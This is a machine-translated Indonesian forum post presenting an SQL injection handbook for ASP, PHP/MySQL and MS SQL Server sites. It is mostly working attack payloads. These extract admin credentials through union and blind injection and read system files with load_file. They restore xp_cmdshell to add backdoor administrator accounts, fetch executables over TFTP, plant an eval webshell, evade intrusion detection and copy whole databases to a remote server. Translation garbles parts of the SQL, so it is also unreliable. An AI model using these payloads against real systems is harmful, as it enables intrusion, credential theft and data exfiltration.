Artikel ini adalah artikel cermin dari terjemahan mesin, silakan klik di sini untuk melompat ke artikel aslinya.

Melihat: 20889|Jawab: 2

[Komunikasi Aman] Buku Injeksi SQL - Kerentanan Injeksi ASP Kontak Lengkap

[Salin tautan]
Diposting pada 28/09/2015 18.21.41 | | |


Kueri lintas database MSSQL (makanan bau!) Gelap)

Peras setiap tetes terakhir MS SQL

Referensi pernyataan SQL dan objek recordset dijelaskan secara rinci

Tentang prosedur tersimpan di SQL Server

Membuat webshell dengan cadangan mssql

SQL_Injection aplikasi lanjutan

Injeksi SQL lintas situs (laokai)

Injeksi SQL Aneh (AMANL)

Injeksi SQL tingkat lanjut di aplikasi SQL Server

Cara menggunakan injeksi SQL untuk melintasi direktori

Panduan Teknik Injeksi SQL (Penerjemah: demonalex)

Beberapa serangan pada database SQL

Teknik Serangan Injeksi SQL (JSW)

SQL_Injection Aplikasi Lanjutan (APACHY)

Metode Injeksi SQL yang Tidak Biasa (Veteran Guilin)

Mencadangkan shell

Bicara tentang struktur pernyataan injeksi php+mysql (Heyhehehehe·≯Super· Hei)

Injeksi SQL Tingkat Lanjut dengan MySQL (malaikat)

L'injeksi (Saya)SQL melalui PHP

Bahasa Oracle SQL

Ensiklopedia injeksi manual SQL

Prasyarat memerlukan alat: SQL Query Analyzer dan SqlExec Sunx Version
==============================================================================================
1. Tentukan apakah ada titik injeksi
; dan 1=1 dan 1=2
2. Tebak nama tabel tidak lebih dari admin admin, kata sandi pengguna user, dll.:
dan 0<>(pilih count(*) dari *)
dan 0<>(pilih count(*) dari admin) — Menentukan apakah tabel admin ada
3. Tebak jumlah akun Jika Anda menemukan 0< kembali ke halaman yang benar 1< kembalikan halaman kesalahan untuk menunjukkan bahwa jumlah akun adalah 1
dan 0<(pilih count(*) dari admin)
dan 1<(pilih count(*) dari admin)
4. Tebak nama bidang Tambahkan nama bidang yang kita pikirkan dalam tanda kurung len( ).
dan 1=(pilih count(*) dari admin di mana len(*)>0)–
dan 1=(pilih count(*) dari admin di mana len(nama bidang pengguna)>0)
dan 1=(pilih count(*) dari admin di mana len(_blank>nama bidang kata sandi)>0)
5. Tebak panjang setiap bidang Tebak panjangnya untuk mengubah >0 sampai halaman yang benar dikembalikan
dan 1=(pilih count(*) dari admin di mana len(*)>0)
dan 1=(pilih count(*) dari admin di mana len(name)>6) error
dan 1=(pilih count(*) dari admin di mana len(name)>5) Panjang yang benar adalah 6
dan 1=(pilih count(*) dari admin di mana len(name)=6) benar
dan 1=(pilih count(*) dari admin di mana len(password)>11) benar
dan 1=(pilih count(*) dari admin di mana panjang kesalahan len(password)>12) adalah 12
dan 1=(pilih count(*) dari admin di mana len(password)=12) benar
6. Tebak karakternya
dan 1=(pilih count(*) dari admin di mana left(name,1)=a) — Tebak digit pertama akun pengguna
dan 1=(pilih count(*) dari admin di mana left(name,2)=ab)—Tebak digit kedua akun pengguna
Cukup tambahkan satu karakter pada satu waktu untuk menebak, tebak cukup banyak digit yang baru saja Anda tebak, dan nomor akun akan keluar
(1) Tebak nama tabel

Kalimat yang digunakan:
dan ada (pilih * dari nama tabel)

Misalnya:
dan ada (pilih * dari admin)

Jika halaman bergema dengan benar, itu berarti nama tabel yang kita tebak di sini sudah benar, dan jika halamannya salah, maka itu berarti nama tabel yang kita tulis di sini salah

, lalu ubah nama tabel dan lanjutkan menebak sampai Anda menebak.

Umumnya, nama tabel yang umum digunakan termasuk admin, manage, user, atau put in tool run
(2) Tebak bidangnya

Kalimat yang digunakan:
dan ada (pilih nama bidang dari nama tabel)

Misalnya:
dan ada (pilih nama pengguna dari admin)

Di sini, dengan asumsi bahwa tabel admin adalah tabel yang saya tebak dengan benar di atas, maka saya ingin menentukan apakah bidang nama pengguna ada, saya perlu menggunakan pernyataan ini, jika halaman

Jika gema wajah benar, itu berarti nama bidang yang kita tebak di sini sudah benar, dan jika halamannya salah, maka itu berarti nama bidang yang kita tulis di sini salah

, lalu ubah nama bidang dan lanjutkan menebak hingga Anda menebak.

Umumnya, nama bidang umum termasuk nama pengguna, kata sandi, pengguna, lulus, nama, lulus, pwd, usr, psd, dan bidang lainnya
(3) memerintahkan oleh

order by adalah untuk mendapatkan jumlah jumlah bidang di halaman itu, mempersiapkan kueri bersama berikutnya
(4) Pilih Serikat

  1. Jika Anda mendukung kueri gabungan, temukan bit tampilan http://www.xxx.com/product_show.asp?id=1 dan 1=2 pilih serikat

1,2,3,4,5,6,7,8,9,10,11
Misalkan bit tampilan adalah 5,6. Selanjutnya, kita hanya perlu mengganti nama bidang yang sesuai dengan nama pengguna dan kata sandi administrator dengan posisi bit tampilan di sini
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select

1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 dari admin menemukan login latar belakang
  2. Jika kueri bersama tidak didukung
Nama pengguna dan kata sandi administrator tidak dapat diperoleh tanpa kueri bersama - menggunakan decoding verbatim Ascii
Dua
  Gunakan order by untuk menilai jumlah bit dalam tabel, dan jika tidak berhasil, gunakan union select untuk mengaturnya satu per satu, di sini kita mengasumsikan 8 bit
Tiga
  Gunakan kueri bersama untuk menentukan bit tampilan
Empat
  Gunakan bit tampilan untuk menemukan nama database, versi database, 5.0 atau lebih tinggi dapat disuntikkan
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database

(),0x5c,pengguna(),0x5c,
versi()),8
Lima
  Dengan nama database, Anda dapat mulai mendapatkan skema nama tabel = diikuti dengan nilai HEX dari nama database, dan menebak nama tabel
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT

+table_name),8
+dari+information_schema.kolom+di mana+
table_schema=0x666C6965725F6462617365
Enam
  Nama tabel yang dianalisis menentukan nilai HEX dari nama tabel administrator =nama tabel, dan menebak bidang dalam tabel
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(BERBEDA

+column_name),8+
dari+information_schema.kolom+di mana+table_name=0x7075625F7765626D6173746572
Tujuh
  Setelah mendapatkan bidang di tabel admin, mari kita dapatkan isi bidang
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(BERBEDA

+nama pengguna,
0x5f,userpwd),8+dari+pub_webmaster
Delapan
  Alat memindai latar belakang: Masuk untuk mengunggah Trojan setelah menemukannya, dan jika Anda tidak dapat menemukan file robots.txt yang dapat Anda akses
Sembilan
  Jika Anda tidak dapat menemukan latar belakang, kata sandi administrator MYSQL akan terekspos
  http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat

(pengguna, kata sandi), 8 + dari+mysql.pengguna
Sepuluh
  Akses jalur secara acak, dan umpan baliknya adalah halaman default 404 IIS6, yang menunjukkan bahwa server situs web adalah: Windows+IIS6+php+MySql
  c:\\windows\\system32\\inetsrv\\MetaBase.xml Jalur ini bisa mendapatkan informasi konfigurasi situs web.
  Membuat pernyataan http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file

(0x633A5C5C77696E646F77735C
  5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Sebelas
  Analisis kode dan temukan alamat latar belakang
  Pada langkah pertama, kita perlu mendapatkan panjang bidang dalam tabel
Pernyataan yang digunakan:
dan (pilih 1 len teratas(nama bidang) dari nama tabel)>0
Seperti apa:
dan (pilih 1 len(admin_name) teratas dari admin)>0
Halaman ditampilkan secara normal, panjang admin_name bidang lebih besar dari 0, dan saya akan mengirimkan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
Halaman menampilkan kesalahan yang menyatakan bahwa bidang antara 0 dan 10, dan panjangnya adalah 5 menggunakan dikotomi
Menggunakan metode yang sama untuk menentukan panjang bidang untuk kata sandi administrator, saya mendapatkan panjang 16
  Langkah 2
Sekarang mari kita lanjutkan ke langkah kedua, ambil karakter tertentu di lapangan, dan dapatkan kode ASCII karakter, yang digunakan

Pernyataan:
dan (pilih 1 asc teratas(mid(nama bidang, N,1)) dari nama tabel)>0
Izinkan saya melihat kalimat ini secara terpisah, pertama, fungsi mid(username, 1,1) terdalam, yang merupakan karakter pertama dari bidang admin_name, N

menunjukkan bahwa beberapa karakter pertama harus dicegat,
Kemudian fungsi asc() luar, yang mengubah karakter yang dicegat oleh fungsi tengah menjadi kode ASCII, 1 teratas terluar, mewakili bidang pengembalian tempat pertama

Sebuah catatan, kemudian,
">0" di akhir adalah membandingkan kode ASCII yang dikonversi dengan angka ini, dan akhirnya mendapatkan intersepsi dengan terus-menerus mengubah nilai terakhir

Dapatkan spesifik karakter ini
Kode ASCII
Pengajuan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>30
Halaman ditampilkan secara normal, menunjukkan bahwa kode ASCII karakter ini lebih besar dari 30.
Pengajuan:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)>90
Halaman ditampilkan secara normal, menunjukkan bahwa kode ASCII karakter ini lebih besar dari 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from

admin)=97
Kode ASCII yang saya dapatkan untuk karakter ini adalah 97
Bandingkan tabel ASCII:
Dapat disimpulkan bahwa karakter pertama adalah "a".
Kemudian saya akan menilai kode ASCII dari karakter kedua.

http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from

admin)>90
Halaman ditampilkan secara normal, menunjukkan bahwa kode ASCII karakter lebih besar dari 90, dan nilai terakhir selalu berubah
Metode yang sama menghasilkan kata sandi admin, dan hasil yang saya dapatkan adalah:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from

admin)=52
dan 1=(pilih 1 teratas count(*) dari Admin di mana Asc(mid(pass,5,1))=51) –
Pernyataan kueri ini dapat menebak pengguna Cina dan kata sandi _blank>. Cukup ganti angka-angka berikut dengan kode ASSIC Cina

Konversi menjadi karakter.

kelompok berdasarkan users.id memiliki 1=1–www.myhack58.com
Kelompokkan berdasarkan users.id, users.username, users.password, users.privs memiliki 1=1–
; Masukkan ke dalam nilai pengguna ( 666, penyerang, foobar, 0xffff )–

UNION Pilih 1 COLUMN_blank>_NAME TERATAS DARI INFORMATION_blank>_SCHEMA. KOLOM Di mana

TABLE_blank>_NAME=logintable-
UNION Pilih 1 COLUMN_blank>_NAME TERATAS DARI INFORMATION_blank>_SCHEMA. KOLOM Di mana

TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Pilih 1 COLUMN_blank>_NAME TERATAS DARI INFORMATION_blank>_SCHEMA. KOLOM Di mana

TABLE_blank>_NAME=logintable Tempat COLUMN_blank>_NAME TIDAK MASUK

(login_blank>_id,login_blank>_name)-
UNION Pilih 1 login_blank>_name TERATAS DARI logintable-
UNION Pilih kata sandi TOP 1 DARI logintable di mana login_blank>_name=Rahul–
Lihat patch yang dimainkan oleh server _blank> = patch SP4 yang salah jaring pengaman bilah hitam
dan 1=(pilih @@VERSION)–

Lihat izin akun koneksi database _blank>, dan itu kembali normal, membuktikan bahwa itu adalah izin sysadmin dari peran server _blank>.
dan 1=(Pilih IS_blank>_SRVROLEMEMBER(sysadmin))–

Tentukan akun database _blank> terhubung. (Gunakan akun SA untuk terhubung dan mengembalikan normal = buktikan bahwa akun yang terhubung adalah SA)
dan sa=(Pilih System_blank>_user)–
dan user_blank>_name()=dbo–
dan 0<>(pilih user_blank>_name()–

Lihat apakah xp_blank>_cmdshell menghapus
dan 1=(Pilih count(*) DARI master.dbo.sysobjects Dimana xtype = X DAN nama = xp_blank>_cmdshell)



xp_blank>_cmdshell dihapus, dipulihkan, dan mendukung pemulihan jalur absolut
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== izin DB diekspos ke kode jalur fisik situs web

==========================================================================
1 、 tabel drop [jm_tmp]; Buat tabel [jm_tmp](nilai navrchar(4000) null,data nvarchar(4000)

null) -- Buat tabel


2、 hapus [jm_tmp]; Masukkan [jm_tmp] eksekutif master.dbo.xp_regread

'HKEY_LOCAL_MACHINE','SISTEM\ControlSet001\Services\W3SVC\Parameter\Virtual Roots','/'--

Sisipkan direktori situs ke dalam bidang tabel


3、dan (pilih 1 teratas cast([data] sebagai nvarchar(4000) char(124) dari [jm_tmp] urutan berdasarkan [data]

desc)=0 '//Bidang yang terekspos


4. Drop Table [jm_tmp] -- hapus tabel ini.
untuk perintah untuk mendapatkan shell
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Jalur stasiun lainnya
======================load_file() Informasi sensitif yang umum digunakan ===========================================
1 、 ganti (load_file(0×2F6574632F706173737764), 0×3c, 0×20)

2 、 Ganti (load_file (char (47,101,116,99,47,112,97,115,115,119,100)),char (60), char (32))
Dua di atas adalah untuk melihat file PHP yang menampilkan kode sepenuhnya. Ada kalanya beberapa karakter tidak diganti, seperti "<" alih-alih "spasi" yang kembali

Halaman web. Dan kode tidak dapat dilihat.

3. load_file(char(47)) dapat mencantumkan direktori root sistem FreeBSD dan Sunos

4. Lihat file konfigurasi host virtual APACHE linux di /etc/httpd/conf/httpd.conf atau /usr/local/apche/conf/httpd.conf

5. C:\Program Files\Apache Group\Apache\conf\httpd.conf atau C:\apache\conf\httpd.conf untuk melihat WINDOWS

file Apache Sistem

6. c:/Resin-3.0.14/conf/resin.conf Lihat informasi konfigurasi file resin dari situs web yang dikembangkan oleh jsp.

7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf untuk melihat host virtual JSP yang dikonfigurasi pada sistem Linux

8、d:\APACHE\Apache2\conf\httpd.conf

9 、 C: \ File Program \ mysql \ my.ini

10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin meledak

11. C:\Windows\system32\inetsrv\MetaBase.xml Lihat file konfigurasi host virtual IIS

12. /usr/local/resin-3.0.22/conf/resin.conf untuk melihat file konfigurasi RESIN untuk 3.0.22

13. /usr/local/resin-pro-3.0.22/conf/resin.conf Sama seperti di atas

14. /usr/local/app/apache2/conf/extratpd-vhosts.conf Host virtual APASHE

15. /etc/sysconfig/iptables tergantung pada kebijakan firewall

16. /usr/local/app/php5 b/php.ini pengaturan setara PHP

17. /etc/my.cnf file konfigurasi MYSQL

18. /etc/redhat-release system version of Red Hat

19 、C:\mysql\data\mysql\user. MYD ada dalam kata sandi pengguna di sistem MYSQL

20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 untuk melihat IP.

21. /usr/local/app/php5 b/php.ini //PHP pengaturan terkait

22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // pengaturan situs web virtual

23 、 c: \ File Program \ RhinoSoft.com \ Serv-U \ ServUDaemon.ini

24、c:\windows\my.ini

25. /etc/issue menampilkan informasi distribusi kernel Linux

26 、 / etc / ftpuser

27. Periksa file log operasi di bawah user.bash_history atau .bash_profile LINUX

28 、 / etc / ssh / ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
.. /apache/logs/error.log     
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Membalikkan eksperimen PING sendiri
; gunakan master; menyatakan @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s keluar; eksekutif

sp_blank>_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1"; –

Menambahkan akun
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c pengguna bersih jiaoniang$ 1866574 /add–

Buat E-disk direktori virtual:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–

Akses: (dengan penulisan ke webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,

NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse

Trik _blank> khusus untuk meledakkan perpustakaan: :%5c=\ atau ubah %5 dengan / dan \ untuk melakukan
dan 0<>(pilih jalur 1 teratas dari newtable)–

Dapatkan nama database (dari 1 hingga 5 adalah ID sistem, dan Anda dapat menilainya di atas 6)
dan 1=(pilih nama dari master.dbo.sysdatabases di mana dbid=7)–
dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=6)
Kirim dbid secara bergantian = 7,8,9.... Dapatkan lebih banyak nama database _blank>

dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=U) meledak ke dalam tabel dengan asumsi admin
dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=u dan nama tidak ada di (Admin)).

Tabel lainnya.
dan 0<>(pilih count(*) dari bbs.dbo.sysobjects di mana xtype=u dan name=admin
dan uid>(str(id))) Nilai numerik UID diasumsikan 18779569 uid=id
dan 0<>(pilih nama 1 teratas dari bbs.dbo.syscolumns di mana id=18779569) mendapatkan bidang admin, false

Atur ke user_blank>_id
dan 0<>(pilih nama 1 teratas dari bbs.dbo.syscolumns di mana id=18779569 dan nama tidak ada
(id,...)) untuk mengekspos bidang lain
dan 0<(pilih user_blank>_id dari BBS.dbo.admin di mana nama pengguna>1) untuk mendapatkan nama pengguna
Pada gilirannya, Anda bisa mendapatkan kata sandi _blank>。。。。。 Misalkan ada bidang seperti nama pengguna user_blank>_id, kata sandi, dll

dan 0<>(pilih count(*) dari master.dbo.sysdatabases di mana name>1 dan dbid=6)
dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=U) untuk mendapatkan nama tabel
dan 0<>(pilih nama 1 teratas dari bbs.dbo.sysobjects di mana xtype=u dan nama tidak di(Alamat))
dan 0<>(pilih count(*) dari bbs.dbo.sysobjects di mana xtype=u dan name=admin dan uid>(str(id)))

Menentukan nilai id
dan 0<>(pilih nama 1 teratas dari BBS.dbo.syscolumns di mana id=773577794) semua bidang

?id=-1 union pilih 1,2,3,4,5,6,7,8,9,10,11,12,13,* dari admin
?id=-1 union pilih 1,2,3,4,5,6,7,8,*,9,10,11,12,13 dari admin (union,akses juga mudah digunakan)

Dapatkan jalur WEB
; Buat tabel [dbo]. [pertukaran] ([swappass][char](255)); –
dan (pilih 1 swappass teratas dari swap)=1–
; Buat TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Deklarasikan @test varchar(20) exec

Menguasa.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SISTEM

\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test

OUTPUT masukkan ke dalam nilai jalur(jalur) (@test)–
; gunakan ku1; –
; membuat cmd tabel (gambar str); – Buat cmd tabel dari jenis gambar
1. Cara menghapus proses perpanjangan xp_cmdshell adalah dengan menggunakan pernyataan berikut:

if exists (pilih * dari dbo.sysobjects di mana id=object_id(N'[dbo].[ xpcmdshell]') dan

OBJECT(id,N'IsExtendedProc')=1)
eksekutif sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

2. Cara menambahkan proses ekstensi xp_cmdshell adalah dengan menggunakan pernyataan berikut:

(1)Penganalisis Kueri SQL

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

(2) Pertama, isi %s di opsi Format SqlExec Sunx Version dan masukkan di opsi CMD

sp_addextendedproc 'xp_cmdshell','xpsql70.dll'

Hapus

sp_dropextendedproc 'xp_cmdshell'

(3)MSSQL2000

sp_addextendedproc 'xp_cmdshell','xplog70.dll'
Ada xp_blank>_cmdshell proses pengujian:
; master eksekutif .. xp_blank>_cmdshell dir
; eksekutif master.dbo.sp_blank>_addlogin jiaoniang$; – Tambahkan akun SQL
; eksekutif master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; eksekutif master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; Pengguna Eksekutif master.dbo.xp_blank>_cmdshell Net Jiaoniang$ 1866574 /Workstations:* /Times:All

/passwordchg:yes /passwordreq:yes /active:yes /add;–
; eksekutif master.dbo.xp_blank>_cmdshell administrator grup lokal bersih jiaoniang$ /add; –
master eksekutif .. xp_blank>_servicecontrol mulai, jadwalkan untuk memulai layanan _blank>
master eksekutif .. xp_blank>_servicecontrol mulai, server
; DEKLARASIKAN @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell EXEC KELUARAN SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c pengguna bersih jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD

@shell,run,null, C:\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; master eksekutif .. xp_blank>_cmdshell tftp -i youip get file.exe – Unggah file menggunakan TFTP

; Mendeklarasikan @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarasikan @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\
; menyatakan @a; atur @a=db_blank>_name(); database cadangan @a ke disk=IP Anda Direktori bersama Anda bak.dat
Jika dibatasi, ya.
Pilih * dari OpenRowset(_blank>sqloledb,server; sa; , pilih OK! eksekutif

master.dbo.sp_blank>_addlogin hax)

Struktur Kueri:
Pilih * DARI berita Di mana id=... DAN topik=... DAN .....
adminand 1=(pilih count(*) dari [user] di mana username=victim dan right(left(userpass,01),1)=1)

dan userpass <>
pilih 123; –
; gunakan master; –
:a atau nama seperti fff%; – Menampilkan pengguna bernama ffff.
dan 1<>(pilih count(email) dari [pengguna]); –
; Perbarui [pengguna] atur email=(pilih nama 1 teratas dari sysobjects di mana xtype=u dan status>0) di mana

nama = ffff; –
; update [users] set email=(pilih id 1 teratas dari sysobjects di mana xtype=u dan name=ad) di mana

nama = ffff; –
; Perbarui [pengguna] set email=(pilih nama 1 teratas dari sysobjects di mana xtype=u dan id>581577110)

di mana nama = ffff; –
; update [users] set email=(select top 1 count(id) from password) where name=ffff; –
; update [users] set email=(pilih top 1 pwd dari password where id=2) where name=ffff; –
; update [users] set email=(pilih nama 1 teratas dari kata sandi di mana id=2) di mana name=ffff; –
Pernyataan di atas adalah untuk mendapatkan tabel pengguna pertama di database _blank> dan menempatkan nama tabel di bidang email pengguna ffff.
Dengan melihat profil pengguna ffff, Anda bisa mendapatkan tabel pertama yang disebut AD
Kemudian dapatkan ID tabel ini sesuai dengan iklan nama tabel untuk mendapatkan nama tabel kedua

masukkan ke dalam pengguna nilai( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),

char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
Masukkan ke dalam nilai pengguna( 667,123,123,0xffff)–
Masukkan ke dalam nilai pengguna ( 123, admin–, kata sandi, 0xffff)–
; dan pengguna>0
; dan (pilih count(*) dari sysobjects)>0
; dan (pilih count(*) dari mysysobjects)>0 // untuk database access_blank>

Menghitung nama tabel data
; perbarui AAA Set AAA=(pilih nama 1 teratas dari sysobjects di mana xtype=u dan status>0); –
Di sinilah nama tabel pertama diperbarui ke bidang AAA.
Baca tabel pertama, dan tabel kedua dapat dibaca seperti ini (tambahkan dan beri nama setelah kondisi<> nama tabel yang baru saja Anda dapatkan).
; Perbarui AAA Set AAA=(Pilih nama 1 teratas dari sysobjects di mana xtype=u dan status>0 dan

nama<>suara); –
Kemudian id=1552 dan ada(pilih * dari aaa di mana aaa>5)
Bacalah tabel kedua dan bacakan satu per satu sampai tidak ada.
Bidang baca terlihat seperti ini:
; perbarui AAA Set AAA=(pilih 1 teratas col_blank>_name(object_blank>_id(nama tabel),1)); –
Kemudian id=152 dan exists(pilih * dari aaa di mana aaa>5) mendapatkan kesalahan dan mendapatkan nama bidang
; perbarui AAA Set AAA=(pilih 1 teratas col_blank>_name(object_blank>_id(nama tabel),2)); –
Kemudian id=152 dan exists(pilih * dari aaa di mana aaa>5) mendapatkan kesalahan dan mendapatkan nama bidang

[Dapatkan Nama Tabel Data] [Perbarui nilai bidang ke nama tabel, lalu bacakan nilai bidang ini untuk mendapatkan nama tabel]
Perbarui Nama Tabel Set field=(Pilih nama 1 teratas dari sysobjects di mana xtype=U dan status>0 [ dan nama<>

Nama tabel yang Anda dapatkan Temukan satu plus satu]) [ where condition] pilih nama 1 teratas dari sysobjects di mana xtype=u dan

status>0 dan nama tidak ada di (tabel1,tabel2,...)
Membuat akun administrator database dan akun administrator sistem _blank> _blank> injeksi kerentanan melalui SQLSERVER [Akun saat ini harus berupa grup SYSADMIN]

[Dapatkan Nama Bidang Datatable] [Perbarui nilai bidang ke nama bidang, lalu bacakan nilai bidang ini untuk mendapatkan nama bidang]
Perbarui Kumpulan Nama Tabel field=(Pilih 1 Teratas col_blank>_name(object_blank>_id (Nama Tabel Data untuk Kueri), kolom bidang

Misalnya: 1) [ kondisi where]

Melewati Deteksi IDS [Menggunakan Variabel]
; Mendeklarasikan @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; Deklarasikan @a sysname set @a=xp+_blank>_cm'+'dshell exec @a dir c:\

1. Buka database _blank> jarak jauh
Sintaks dasar
pilih * dari OPENROWSET(SQLOLEDB, server=nama server; uid = sa; pwd=123, pilih * dari tabel1 )
Parameter: (1) Nama Penyedia OLEDB
2. Parameter string koneksi dapat berupa port apa pun untuk dihubungkan, seperti
pilih * dari OPENROWSET(SQLOLEDB, uid=sa; disabilitas = 123; Jaringan=DBMSSOCN; Alamat=192.168.0.1,1433; ,

Pilih * dari tabel
3. Salin seluruh database _blank> dari host target dan masukkan semua tabel jarak jauh ke tabel lokal.

Sintaks dasar:
masukkan ke dalam OPENROWSET(SQLOLEDB, server=nama server; uid = sa; PWD=123, pilih * dari tabel1) pilih

* dari tabel2
Pernyataan baris ini menyalin semua data dari tabel table2 pada host target ke tabel table1 dalam database _blank> jarak jauh. Perbaikan yang tepat dalam aplikasi praktis

Ubah alamat IP dan port string koneksi untuk menunjuk ke tempat yang Anda butuhkan, seperti:
